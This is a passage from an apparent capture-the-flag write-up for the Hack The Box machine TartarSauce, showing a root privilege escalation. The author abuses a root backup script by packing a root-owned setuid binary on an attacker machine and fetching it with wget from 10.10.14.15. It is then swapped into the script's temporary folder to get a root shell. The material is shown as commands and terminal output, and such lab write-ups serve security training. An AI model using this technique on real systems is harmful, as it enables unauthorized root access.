-rw\-\-\-\-\-\-- 1 onuma onuma 8 Nov 17 17:01 .bash_history
lrwxrwxrwx 1 root root 9 Feb 17 2018 shadow_bkp -\> /dev/null
-r-sr-sr-x 1 onuma onuma 16K Nov 17 16:53 test
-r\-\-\-\-\-\-\-- 1 onuma onuma 33 Feb 9 2018 user.txt
onuma@TartarSauce:\~\$ ./test
./test
onuma@TartarSauce:\~\$ id
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
onuma@TartarSauce:\~\$ exit
exit
exit
onuma@TartarSauce:\~\$

Ok, now I am ready to place it in the correct path to get acted on by this script.

onuma@TartarSauce:\~\$ mkdir -p /var/tmp/var/www/html
mkdir -p /var/tmp/var/www/html
onuma@TartarSauce:\~\$ cp test /var/tmp/var/www/html/
cp test /var/tmp/var/www/html/
onuma@TartarSauce:\~\$ cd /var/tmp/var/www/html
cd /var/tmp/var/www/html
onuma@TartarSauce:/var/tmp/var/www/html\$ la
la
total 16K
-r-xr-xr-x 1 onuma onuma 16K Nov 17 17:08 test
onuma@TartarSauce:/var/tmp/var/www/html\$ chmod 6555 test
chmod 6555 test
onuma@TartarSauce:/var/tmp/var/www/html\$ la
la
total 16K
-r-sr-sr-x 1 onuma onuma 16K Nov 17 17:08 test
onuma@TartarSauce:/var/tmp/var/www/html\$

I change directories back up to /var/tmp, then create backup.tar.gz.

onuma@TartarSauce:/var/tmp/var/www/html\$ cd ../../../
cd ../../../
onuma@TartarSauce:/var/tmp\$ tar -zcvf backup.tar.gz var/
tar -zcvf backup.tar.gz var/
var/
var/www/
var/www/html/
var/www/html/test
onuma@TartarSauce:/var/tmp\$

Ok, so what this is going to do is, script will tar up var/www/html, then replace what it tar'd up as what I tar'd up, then it'll be owned by root and I can suid it.

When the script first executes, it will create that rnd named temp folder in /var/tmp. When that happends, I will copy backup.tar.gz into that folder. Then I can delete /var/tmp/var. Then wait 30 seconds, should see folder check created in /var/tmp/. Inside that folder, should see test created.

Ok, that doesn't work, the file is still owned by onuma. Since tar stores ownership information though, I can tar up the file on my kali machine, then transfer the tar.gz over that way.

root@kali# mkdir -p var/www/html
root@kali# cp test var/www/html
root@kali# chmod 6555 var/www/html/test
root@kali# la var/www/html
total 16K
-r-sr-sr-x 1 root root 16K Nov 17 17:22 test

Then I tar the directory there as well.

root@kali# tar -zcvf backup.tar.gz var/
var/
var/www/
var/www/html/
var/www/html/test

Then I can transfer the tar.gz with wget.

onuma@TartarSauce:/var/tmp\$ wget <http://10.10.14.15/backup.tar.gz>
wget <http://10.10.14.15/backup.tar.gz>
\--2020-11-17 17:34:19\-- <http://10.10.14.15/backup.tar.gz>
Connecting to 10.10.14.15:80\... connected.
HTTP request sent, awaiting response\... 200 OK
Length: 2748 (2.7K) \[application/gzip\]
Saving to: \'backup.tar.gz\'
 
backup.tar.gz 100%\[===================\>\] 2.68K \--.-KB/s in 0.001s
 
2020-11-17 17:34:19 (3.77 MB/s) - \'backup.tar.gz\' saved \[2748/2748\]
 
onuma@TartarSauce:/var/tmp\$ la
la
total 28K
-rw-r\--r\-- 1 onuma onuma 2.7K Nov 17 17:25 backup.tar.gz
drwx\-\-\-\-\-- 3 root root 4.0K Feb 17 2018 systemd-private-46248d8045bf434cba7dc7496b9776d4-systemd-timesyncd.service-en3PkS
drwx\-\-\-\-\-- 3 root root 4.0K Nov 17 12:01 systemd-private-6a598ca8586b4c18849e34483cbe1fbc-systemd-timesyncd.service-UCiIvl
drwx\-\-\-\-\-- 3 root root 4.0K Feb 17 2018 systemd-private-7bbf46014a364159a9c6b4b5d58af33b-systemd-timesyncd.service-UnGYDQ
drwx\-\-\-\-\-- 3 root root 4.0K Feb 15 2018 systemd-private-9214912da64b4f9cb0a1a78abd4b4412-systemd-timesyncd.service-bUTA2R
drwx\-\-\-\-\-- 3 root root 4.0K Feb 15 2018 systemd-private-a3f6b992cd2d42b6aba8bc011dd4aa03-systemd-timesyncd.service-3oO5Td
drwx\-\-\-\-\-- 3 root root 4.0K Feb 15 2018 systemd-private-c11c7cccc82046a08ad1732e15efe497-systemd-timesyncd.service-QYRKER

Once the timer cycles and the random directory is created, I can copy backup.tar.gz into it.

onuma@TartarSauce:/var/tmp\$ cp backup.tar.gz .508bfe91a113e41606330a605c0907f73e08ee67
cp backup.tar.gz .508bfe91a113e41606330a605c0907f73e08ee67

Then I waited another 30s for the script to extract the contents into the check temp directory. Once the file is extracted, I can execute it and get a shell.

onuma@TartarSauce:/var/tmp\$ cd check/var/www/html
cd check/var/www/html
onuma@TartarSauce:/var/tmp/check/var/www/html\$ la
la
total 16K
-r-sr-sr-x 1 root root 16K Nov 17 17:22 test
 
root@TartarSauce:/var/tmp/check/var/www/html# id
id
uid=0(root) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
root@TartarSauce:/var/tmp/check/var/www/html#

root/SYSTEM Compromise


Next: Blocky